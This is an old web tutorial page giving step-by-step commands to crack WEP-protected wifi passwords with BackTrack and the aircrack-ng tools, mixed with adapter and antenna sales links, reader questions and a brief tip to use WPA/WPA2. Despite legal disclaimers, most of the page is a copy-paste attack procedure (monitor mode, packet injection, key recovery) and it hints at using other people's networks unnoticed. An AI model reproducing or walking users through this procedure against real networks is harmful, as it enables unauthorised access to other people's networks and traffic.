Hack Wifi Router Crack WEP Password Step by Step Instructions / Tutorial

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How to find the password to a wifi (wireless) router

This lens will show you how to find the password to a wifi network in just six simple steps.

This is not designed to teach you how to use your neighbours internet for free but to show you how it can be done by anyone.

It is designed to show you how easy it is to find the password to a wifi router protected with only WEP key security and why you should use WPA or WPA2

These lens is designed for testing the security of YOUR wireless network and should not be used to try and illegally gain free internet access.

Even attempting to gain access to a WiFi router without permission is an offence.

What you will need

This type of wireless card is ideal 1. A computer
2. A copy of Linux Backtrack 4 (FREE) (Link at the bottom of this page )
3. A compatible WiFi (wireless) adapter
4. This Lens

The wireless adapter is the MOST IMPORTANT thing you will need, it must be compatible and capable of injecting packets, the one built into your PC/laptop might not be compatible and even if it is the range/power will be very limited and the number of wifi networks available to you will be reduced.

The wifi card in my laptop will detect about 10 wifi networks, using the ALFA shown below I can detect over 50 networks!

Most wifi adapters are supported but not all so check if your going to buy one. Check the aircrack-ng website for a compatibility chart, link in link list at bottom of this lens.

You can use small 'pendrive' size USB dongle wireless adapters but the range isn't that good and even if you can pick up a wifi signal it might not have enough transmission power to crack a wifi router password. You can however turn a small USB wifi adapter into a more powerful one if thats all you have, scroll down the page to find out how.

I would suggest one with an antenna. I will put a few good ones in the ebay module here and recommend the ideal wifi card for the job!

The adapter in the picture is sold under many different names but usually contains the same compatible wireless chipset (RT8187L) which works very well with Backtrack.

Recommended WiFi Adapter

Alfa AWUS036H High power 1000mW 1W 802.11b/g High Gain USB Wireless Long-Rang WiFi network Adapter with 5dBi Rubber Antenna and a 7dBi Panel Antenna and Suction cup / Clip Window Mount - for Wardriving & Range Extension

Amazon Price: $33.28 (as of 05/31/2012)Buy Now

This WiFi adapter by Alfa (Model AWUS036H) contains the RTL8187L chipset which is ideal for using with BackTrack 4 R2 for cracking WEP keys and comes with 2 antennas and window mount.

Recommended Antenna

Directional or Panel Antennas Improve Range

Most wifi antennas (build into laptops, PC's, smart phones & wifi routers) are 'omindirectional' which means the signal power is distributed equally in all directions.

Even if your laptop wifi adapter can receive a distant wifi signal it may not have enough power to send a signal back.

'Directional' antennas concentrate the signal in one direction which means the range is increased dramatically.

Using the panel anntenna shown here and a 1000mW WiFi adapter, with a clear line of sight I managed to connect to my city's free wifi at a distance of 0.75 Miles/1.1Km and the signal was good enough to watch a Youtube video!

If you have a compatable wifi adapter and can change the antenna I suggest you use one of these.

If you can replace the antenna on your own wifi router at home or work you can 'point' the signal where you need it. If your router is downstairs and you don't get a good signal on the top floor just point the panel antenna straight up. If you want to get a connection out in your workshop or garden just 'point' it where you need signal, use two together to get an even better connection even further away.

Keeping it Simple

There is an endless amount of info about this online and lots to learn, I am going to show you step by step the simplest and easiest way.

I know lenses should usually have lots of info but the purpose of this lens is to show how your security can be breached with minimal knowledge.

The pictures may be to small to see the detail properly so I suggest you save the pictures to your computer where you can enlarge them to read the details. (Click right button on your mouse on the picture and left click 'Save' or 'Save image as')

Did You Know You Can Make Money with a WiFi Hotspot?

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USB Wireless Cards with Antennas

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Step by Step Instructions

1. Download Backtrack4 R2 (This is an entire operating system so large file 2GB) (Free)
2. Download 'Active ISO Burner' (Free)
3. Burn BackTrack4 R2 to a blank DVD
4. Put into your computer, it should load automatically or you might be prompted to press a key to load.
5. Wait for it to load, it can take up to ten minutes, when the text on the screen stops moving type 'startx' and press enter (just startx, no quotation marks)
6. Open a console window (Small black square in bottom left hand corner) Your screen should look like the picture (without all the text)

Wireless Cards With Antennas

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The Commands Needed

Just type these commands exactly, all lower case. (Hit enter after each command through out this tutorial) Wait a few seconds between typing each command, it can be a bit slower than windows to respond.

1. ifconfig wlan0 up (thats zero, not letter o)
2. airmon-ng start wlan0
3. airodump-ng mon0

wlan0 is your wireless card, if you have more than one (internal & external) they will be called wlan0, wlan1, wlan2 etc. so make sure you are using the right one.

You screen should now look like the picture showing all the wifi networks in range. Each line shows info about each network, look at the top one with the name 'r3net', you just need the BSSID number and channel number, in this case it is 00:16:41:BE:C3:E9 and channel 10

Is Your Wireless (WiFi) Network Secure?

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Choose the network to crack (It must be WEP security)

You can only use this method to crack WEP password (the ENC collum)

1.Choose your network, I will use the top one as an example, you will need to put in the BSSID and channel number of the network you are trying to crack.

You only need the channel number (collum headed CH) and bssid (first collum headed BSSID), in this case it's channel 10 and the bssid is 00:16:41:BE:C3:E9 (all 0's are Zeros, not letter o)

(If the channel number is a single diget, ie 4 or 7 you don't need to put a 0 before it.)

**Open a new console window

So the command you need to type (type exactly as written including spaces)

airodump-ng -c 10 --bssid 00:16:41:BE:C3:E9 -w wep mon0

(You can copy and paste the BSSID number instead of typing it each time)

For the network you are trying to crack replace the xx's with the info from that network (channel number and BSSID)
airodump-ng -c XX --bssid XX:XX:XX:XX:XX:XX -w wep mon0

Your Screen should now look like the picture (sorry the picture is of another network but you get the idea)

Long Range Wifi Adapters on eBay

Increase your wifi reception range dramatically! An external wifi adapter can pick up wifi signals from hundreds of meters away!!!
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Next Step

1. Open a new console window and type the command, you only need to enter the BSSID this time, you don't need to worry about the channel.

Again replacing the xx's with the BSSID address

aireplay-ng -1 1 -a XX:XX:XX:XX:XX:XX mon0

2. Open a new console window & type the command

Again replacing the xx's with the BSSID address

aireplay-ng -3 -b XX:XX:XX:XX:XX:XX mon0

You can now close the first console window which shows all the networks within range as we have selcted the target network.

You should have three console windows open. One should look like the picture and you will feel like the guy from the Matrix with numbers and codes whizzing down your screen.

In console window 2 (the one which shows the network name on the right) look at the #Data collum, you should see the number rising rapidly. This shows the attack is working, you need to wait for this number to reach at least 5,000 but I would say 50,000 or more to make sure it works, this can take between 10 mins and 1 hour.

Cracking the password

Sucessful password crackOnce you have collected enough data open a new colsole window and type the comman below.

aircrack-ng wep-01.cap

You should see lots of numbers as in the picture and after a few seconds or minutes it will find the key!!!

Summary of Commands Needed

Open console window
1. ifconfig wlan0 up (thats zero, not letter o)
2. airmon-ng start wlan0
3. airodump-ng mon0

Open New console window
4. airodump-ng -c XX --bssid XX:XX:XX:XX:XX:XX -w wep mon0
(Replacing the xx's with channel number & BSSID address)

Open New console window
5. aireplay-ng -1 1 -a XX:XX:XX:XX:XX:XX mon0
(Again replacing the xx's with the BSSID address)

Open New console window
6.aireplay-ng -3 -b XX:XX:XX:XX:XX:XX mon0
(Again replacing the xx's with the BSSID address)

Wait until you have collected enough Data
Open new console window
7. aircrack-ng wep-01.cap

Watch this video to see how easy it really is!

This video shows you how it is done. The commands are slighly difference, both the ones in the lens or the video will work the same.
Hack/Crack WEP Access Points with Backtrack 4 [HD]
by josecabes97 | video info

5 ratings | 3,307 views
curated content from YouTube

Directional Wifi Antennas

Most Wifi antennas are omnidirectional which means they send and receive signals equally in all directions.

Directional wifi antennas concentrate the signal in one direction which means you get a better range and better speeds.

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Did you know you can hack wifi with an iphone or ipod Touch?

Take a look at this lens for the FREE iphone/ipod touch apps that will find the password to WiFi networks automatically including WEP, WPA & WPA2 security!
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Hack Wifi Password with iphone & ipod!

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How to Make Sure Your WiFi Network is Secure

To make sure your WiFi network cannot be hacked you must use WPA or WPA2 level security and use a long password made up of random numbers, letters & any of the 95 permitted characters. Example: /g14lOv:mGIizL_s^[c@P

Do not use a word that is in any dictionary in any language, name, football team, movie name, pets name, greek god or medical condition!

Random password = Secure Network!

How to boost the power of a cheap USB WiFi dongle!

You can easily turn a cheap USB Wifi dongle into a much better wifi adpater and increase the range with household items I'm sure you have in your home right now!!

The most popular method is by using a cooking sieve or any rounded metal 'dish' shaped container, these are known as parabolic antennas.
Then there are 'cantennas', simply cut a hold in a drinks can or food tin can in insert the USB wifi dongle!
You can even make a dish shape with cardboard and cover with aluminium foil.

Metal lamp shades, Pringles cans, old satalite dishes, the protective cages from fans, sanded down circuit boards, metal takeaway containers all work well too! The bigger the better!!!

Watch this video to see how to boost the power of a wifi dongle

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USB WiFi Dongles

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Cracking wireless (WiFi) Networks without permission is illegal

The software (Backtrack) is for testing wireless security and if used against a network which is not yours or you do not have permission to crack (a friends) is illegal. It is true the network owner will probably not realise you have access to their internet connection which is why you should always use WPA or WPA2 level protection instead of just WEP on your own wireless network.

High Power & Long Range Outdoor Wifi Antennas

These high power wifi antennas are specially designed to pickup wifi signals hundreds of meters away or even miles away when using two together!!!

If the Starbucks down the street has free wifi you can use from the comfort of your own home or trailer with one of these long range high power antennas!!!

Did you know??? The longest wifi connection ever achieved is 304 km!!!!
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Post any questions or problems here

Nice lens! Thanks! Hi, I got the key found like [xx:xx:xx:xx:xx], it say decrypted correctly 100%, but I try to enter the same key as shown and it doesn't work, do I need to convert this number to some other version ? Thanks! Hi, Well done on managing to do it. I'm sure you have entered the password like 6E4B3C... not 6E:4B:3C

Otherwise I think you just need to convert if from HEX to ASCII if its something like 00:11:22:33:44:55:66 you would take out all the : between the numbers so it should be put in like such 112233445566 into your password prompt for your wireless. hope this helps you out :) Check out my site over at www.n1tr0g3n.com and you might find some more usefull info over there. okay, every time I do this to the t and I get this message "ioctl(SIOCGIFINDEX) failed: No such device". I went to the faq for aircrack and it said to download a patch so I downloaded and installed wlan-ng but it still does it... what do I do? Sounds like the wifi card is not loaded.

ifconfig wlan0 up

Or yours might be wlan1 or wlan2 if you have more than 1 wifi card I thought I only had one and I did the "ifconfig wlan0 up" and I have tried with a 1 and a 2 but nothing working... it keeps saying "no such device". @Jacob: Sounds like your WiFi card is Hard blocked. Use this tutorial to fix the problem : http://www.youtube.com/watch?v=l64cAu7xTqY or http://curemymind.4umer.net/t38-backtrack-5-r1-rtl8187-siocsifflags-unknown-error-132#77 . Very informative lens.Nice instructions you have shared step by step.Thanks for sharing this tutorial.
-Small Business IT Support Very nice article, good choice in WiFi Card too the Links Alpha is one of the best around at the minute, It is now possible to crack WPA and WPA2 encryption now though, A site that is useful to stay up to date with the latest hacks, exploits and vulnerabilities is www.latesthackingnews.com

Link List to Everything You Will Need

BackTrack 4 R2 Download
BackTrack 4 R2 Download
Active ISO Burner
Active ISO Burner
Compatable Wireless Cards
Compatable Wireless Cards

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